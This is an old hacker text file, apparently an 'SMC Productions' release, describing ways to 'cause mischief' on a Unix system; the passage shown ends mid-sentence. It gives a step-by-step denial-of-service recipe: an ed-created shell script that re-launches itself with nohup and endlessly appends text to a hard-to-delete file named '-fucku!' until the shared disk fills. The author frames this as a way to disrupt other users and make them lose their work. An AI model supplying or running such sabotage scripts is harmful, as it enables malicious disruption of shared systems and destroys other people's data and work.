Como acabar com um sistema unix

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Production # 3
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I - Introduction

This file will describe several ways to cause mischief on a Unix system.
Like the other SMC Productions, I will try to present the information at a
beginners level. However, all levelsof hackers should benefit in some way
from the information contained within. And now... on with our show...


II - How To Fill a Hard Disk

There are several ways to cause havoc by filling up a systems hard
disk. Filling up a hard disk will make it so that the system cannot create
the temporary files vital to it's efficient use. It will also cause other
problems, such as a person tryingto save a 10 page financial report, and
finding that there is no room for it. Also, if the HD is full, the system
will not run properly. You will be bombarded by a continuous stream of
'write failed, file system is full'. Over all, this is a very good way to
piss people off.

Step One
Create the following file with the 'ed [filename]' utility under the
bourne shell, or the 'edit[filename]' under the C shell. The filename can
be whatever you want, here I will call it 'hah1'. Only type in what is
contained within '[]'s, the other text is what the system will send to
you.

$[ed hah1]
0
*[a]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echoHahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!!>> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!]
[nohup hah1 &]
[^C]
*[w]
754
*[q]
$[chmod +r+w+x hah1]
$[nohup hah1 &]
1234
$

This will create a file called '-fucku!'. Files beginning with a '-'
are very difficult to delete, as when you try to do a 'rm -fucku!'
It interprets the '-f' asan option, it tries then
to force delete the file 'ucku!'. As you can imagine.... this wouldn't
quite work. The text after the echo can be anything you wish, I just
used a sample text that is quite pointless and takes up space. The numbers
represent the file size, and process number, they will be different on
your system.
The file will add the text from the echo statement to the file'-fucku!'
until it reaches the 'hah1 &' command, which will make it start over again.
This is an endless loop. For as long as you are on-line, and their are
processes left, the file will continue to add to the file. This is a
very slow method, but it's easy if you are starting from scratch. If
you get a message such as 'cannot fork hah1: process terminated' that means
that the loop is taking upso much memory that the system can no longer
continue with that job. Don't worry, it will settle back to normal after all
the processes are eventually killed, if it does, continue to run the file
in the background until you have a '-fucku!' file that is about 100-200k
long, this will allow us to progress to our next step.

The command 'nohup hah1 &' tells unix to continue to run the...
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